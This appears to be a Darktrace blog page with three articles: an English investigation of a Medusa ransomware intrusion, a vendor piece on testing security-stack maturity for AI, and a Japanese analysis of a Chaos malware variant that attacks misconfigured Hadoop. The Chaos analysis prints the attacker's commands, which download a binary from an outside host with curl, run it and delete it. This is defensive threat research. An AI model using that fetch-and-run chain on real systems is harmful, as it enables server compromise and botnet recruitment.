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June 10, 2024

Darktrace Investigation Into Medusa Ransomware

See how Darktrace empowers organizations to fight back against Medusa ransomware, enhancing their cybersecurity posture with advanced technology.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Maria Geronikolou
Cyber Analyst
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10
Jun 2024

What is Living off the Land attack?

In the face of increasingly vigilant security teams and adept defense tools, attackers are continually looking for new ways to circumvent network security and gain access to their target environments. One common tactic is the leveraging of readily available utilities and services within a target organization’s environment in order to move through the kill chain; a popular method known as living off the land (LotL). Rather than having to leverage known malicious tools or write their own malware, attackers are able to easily exploit the existing infrastructure of their targets.

The Medusa ransomware group in particular are known to extensively employ LotL tactics, techniques and procedures (TTPs) in their attacks, as one Darktrace customer in the US discovered in early 2024.

What is Medusa Ransomware?

Medusa ransomware (not to be confused with MedusaLocker) was first observed in the wild towards the end of 2022 and has been a popular ransomware strain amongst threat actors since 2023 [1]. Medusa functions as a Ransomware-as-a-Service (RaaS) platform, providing would-be attackers, also know as affiliates, with malicious software and infrastructure required to carry out disruptive ransomware attacks. The ransomware is known to target organizations across many different industries and countries around the world, including healthcare, education, manufacturing and retail, with a particular focus on the US [2].

How does Medusa Ransomware work?

Medusa affiliates are known to employ a number of TTPs to propagate their malware, most predominantly gaining initial access by exploiting vulnerable internet-facing assets and targeting valid local and domain accounts that are used for system administration.

The ransomware is typically delivered via phishing and spear phishing campaigns containing malicious attachments [3] [4], but it has also been observed using initial access brokers to access target networks [5]. In terms of the LotL strategies employed in Medusa compromises, affiliates are often observed leveraging legitimate services like the ConnectWise remote monitoring and management (RMM) software and PDQ Deploy, in order to evade the detection of security teams who may be unable to distinguish the activity from normal or expected network traffic [2].

According to researchers, Medusa has a public Telegram channel that is used by threat actors to post any data that may have been stolen, likely in an attempt to extort organizations and demand payment [2].  

Darktrace’s Coverage of Medusa Ransomware

Established Foothold and C2 activity

In March 2024, Darktrace / NETWORK identified over 80 devices, including an internet facing domain controller, on a customer network performing an unusual number of activities that were indicative of an emerging ransomware attack. The suspicious behavior started when devices were observed making HTTP connections to the two unusual endpoints, one of which is “go-sw6-02.adventos[.]de”, with the PowerShell and JWrapperDownloader user agents.

Darktrace’s Cyber AI Analyst™ launched an autonomous investigation into the connections and was able to connect the seemingly separate events into one wider incident spanning multiple different devices. This allowed the customer to visualize the activity in chronological order and gain a better understanding of the scope of the attack.

At this point, given the nature and rarity of the observed activity, Darktrace /NETWORK's autonomous response would have been expected to take autonomous action against affected devices, blocking them from making external connections to suspicious locations. However, autonomous response was not configured to take autonomous action at the time of the attack, meaning any mitigative actions had to be manually approved by the customer’s security team.

Internal Reconnaissance

Following these extensive HTTP connections, between March 1 and 7, Darktrace detected two devices making internal connection attempts to other devices, suggesting network scanning activity. Furthermore, Darktrace identified one of the devices making a connection with the URI “/nice ports, /Trinity.txt.bak”, indicating the use of the Nmap vulnerability scanning tool. While Nmap is primarily used legitimately by security teams to perform security audits and discover vulnerabilities that require addressing, it can also be leveraged by attackers who seek to exploit this information.

Darktrace / NETWORK model alert showing the URI “/nice ports, /Trinity.txt.bak”, indicating the use of Nmap.
Figure 1: Darktrace /NETWORK model alert showing the URI “/nice ports, /Trinity.txt.bak”, indicating the use of Nmap.

Darktrace observed actors using multiple credentials, including “svc-ndscans”, which was also seen alongside DCE-RPC activity that took place on March 1. Affected devices were also observed making ExecQuery and ExecMethod requests for IWbemServices. ExecQuery is commonly utilized to execute WMI Query Language (WQL) queries that allow the retrieval of information from WI, including system information or hardware details, while ExecMethod can be used by attackers to gather detailed information about a targeted system and its running processes, as well as a tool for lateral movement.

Lateral Movement

A few hours after the first observed scanning activity on March 1, Darktrace identified a chain of administrative connections between multiple devices, including the aforementioned internet-facing server.

Cyber AI Analyst was able to connect these administrative connections and separate them into three distinct ‘hops’, i.e. the number of administrative connections made from device A to device B, including any devices leveraged in between. The AI Analyst investigation was also able to link the previously detailed scanning activity to these administrative connections, identifying that the same device was involved in both cases.

Cyber AI Analyst investigation into the chain of lateral movement activity.
Figure 2: Cyber AI Analyst investigation into the chain of lateral movement activity.

On March 7, the internet exposed server was observed transferring suspicious files over SMB to multiple internal devices. This activity was identified as unusual by Darktrace compared to the device's normal SMB activity, with an unusual number of executable (.exe) and srvsvc files transferred targeting the ADMIN$ and IPC$ shares.

Cyber AI Analyst investigation into the suspicious SMB write activity.
Figure 3: Cyber AI Analyst investigation into the suspicious SMB write activity.
Graph highlighting the number of successful SMB writes and the associated model alerts.
Figure 4: Graph highlighting the number of successful SMB writes and the associated model alerts.

The threat actor was also seen writing SQLite3*.dll files over SMB using a another credential this time. These files likely contained the malicious payload that resulted in the customer’s files being encrypted with the extension “.s3db”.

Darktrace’s visibility over an affected device performing successful SMB writes.
Figure 5: Darktrace’s visibility over an affected device performing successful SMB writes.

Encryption of Files

Finally, Darktrace observed the malicious actor beginning to encrypt and delete files on the customer’s environment. More specifically, the actor was observed using credentials previously seen on the network to encrypt files with the aforementioned “.s3db” extension.

Darktrace’s visibility over the encrypted files.
Figure 6: Darktrace’s visibility over the encrypted files.


After that, Darktrace observed the attacker encrypting  files and appending them with the extension “.MEDUSA” while also dropping a ransom note with the file name “!!!Read_me_Medusa!!!.txt”

Darktrace’s detection of threat actors deleting files with the extension “.MEDUSA”.
Figure 7: Darktrace’s detection of threat actors deleting files with the extension “.MEDUSA”.
Darktrace’s detection of the Medusa ransom note.
Figure 8: Darktrace’s detection of the Medusa ransom note.

At the same time as these events, Darktrace observed the attacker utilizing a number of LotL techniques including SSL connections to “services.pdq[.]tools”, “teamviewer[.]com” and “anydesk[.]com”. While the use of these legitimate services may have bypassed traditional security tools, Darktrace’s anomaly-based approach enabled it to detect the activity and distinguish it from ‘normal’ network activity. It is highly likely that these SSL connections represented the attacker attempting to exfiltrate sensitive data from the customer’s network, with a view to using it to extort the customer.

Cyber AI Analyst’s detection of “services.pdq[.]tools” usage.
Figure 9: Cyber AI Analyst’s detection of “services.pdq[.]tools” usage.

If this customer had been subscribed to Darktrace's Proactive Threat Notification (PTN) service at the time of the attack, they would have been promptly notified of these suspicious activities by the Darktrace Security Operation Center (SOC). In this way they could have been aware of the suspicious activities taking place in their infrastructure before the escalation of the compromise. Despite this, they were able to receive assistance through the Ask the Expert service (ATE) whereby Darktrace’s expert analyst team was on hand to assist the customer by triaging and investigating the incident further, ensuring the customer was well equipped to remediate.  

As Darktrace /NETWORK's autonomous response was not enabled in autonomous response mode, this ransomware attack was able to progress to the point of encryption and data exfiltration. Had autonomous response been properly configured to take autonomous action, Darktrace would have blocked all connections by affected devices to both internal and external endpoints, as well as enforcing a previously established “pattern of life” on the device to stop it from deviating from its expected behavior.

Conclusion

The threat actors in this Medusa ransomware attack attempted to utilize LotL techniques in order to bypass human security teams and traditional security tools. By exploiting trusted systems and tools, like Nmap and PDQ Deploy, attackers are able to carry out malicious activity under the guise of legitimate network traffic.

Darktrace’s Self-Learning AI, however, allows it to recognize the subtle deviations in a device’s behavior that tend to be indicative of compromise, regardless of whether it appears legitimate or benign on the surface.

Further to the detection of the individual events that made up this ransomware attack, Darktrace’s Cyber AI Analyst was able to correlate the activity and collate it under one wider incident. This allowed the customer to track the compromise and its attack phases from start to finish, ensuring they could obtain a holistic view of their digital environment and remediate effectively.

[related-resource]

Appendices

Credit to Maria Geronikolou, Cyber Analyst, Ryan Traill, Threat Content Lead

Darktrace DETECT Model Detections

Anomalous Connection / SMB Enumeration

Device / Anomalous SMB Followed By Multiple Model Alerts

Device / Suspicious SMB Scanning Activity

Device / Attack and Recon Tools

Device / Suspicious File Writes to Multiple Hidden SMB Share

Compromise / Ransomware / Ransom or Offensive Words Written to SMB

Device / Internet Facing Device with High Priority Alert

Device / Network Scan

Anomalous Connection / Powershell to Rare External

Device / New PowerShell User Agent

Possible HTTP Command and Control

Extensive Suspicious DCE-RPC Activity

Possible SSL Command and Control to Multiple Endpoints

Suspicious Remote WMI Activity

Scanning of Multiple Devices

Possible Ransom Note Accessed over SMB

List of Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

207.188.6[.]17      -     IP address   -      C2 Endpoint

172.64.154[.]227 - IP address -        C2 Endpoint

go-sw6-02.adventos[.]de.  Hostname  - C2 Endpoint

.MEDUSA             -        File extension     - Extension to encrypted files

.s3db               -             File extension    -  Created file extension

SQLite3-64.dll    -        File           -               Used tool

!!!Read_me_Medusa!!!.txt - File -   Ransom note

Svc-ndscans         -         Credential     -     Possible compromised credential

Svc-NinjaRMM      -       Credential      -     Possible compromised credential

MITRE ATT&CK Mapping

Discovery  - File and Directory Discovery - T1083

Reconnaissance    -  Scanning IP            -          T1595.001

Reconnaissance -  Vulnerability Scanning -  T1595.002

Lateral Movement -Exploitation of Remote Service -  T1210

Lateral Movement - Exploitation of Remote Service -   T1210

Lateral Movement  -  SMB/Windows Admin Shares     -    T1021.002

Lateral Movement   -  Taint Shared Content          -            T1080

Execution   - PowerShell     - T1059.001

Execution  -   Service Execution   -    T1059.002

Impact   -    Data Encrypted for Impact  -  T1486

References

[1] https://unit42.paloaltonetworks.com

[2] https://thehackernews.com

[3] https://trustwave.com

[4] https://www.sangfor.com

[5] https://thehackernews.com

[6]https://any.run

Get the latest insights on emerging cyber threats

This report explores the latest trends shaping the cybersecurity landscape and what defenders need to know in 2026.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Maria Geronikolou
Cyber Analyst

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April 10, 2026

How to Secure AI and Find the Gaps in Your Security Operations

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What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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Nathaniel Bill
Malware Research Engineer
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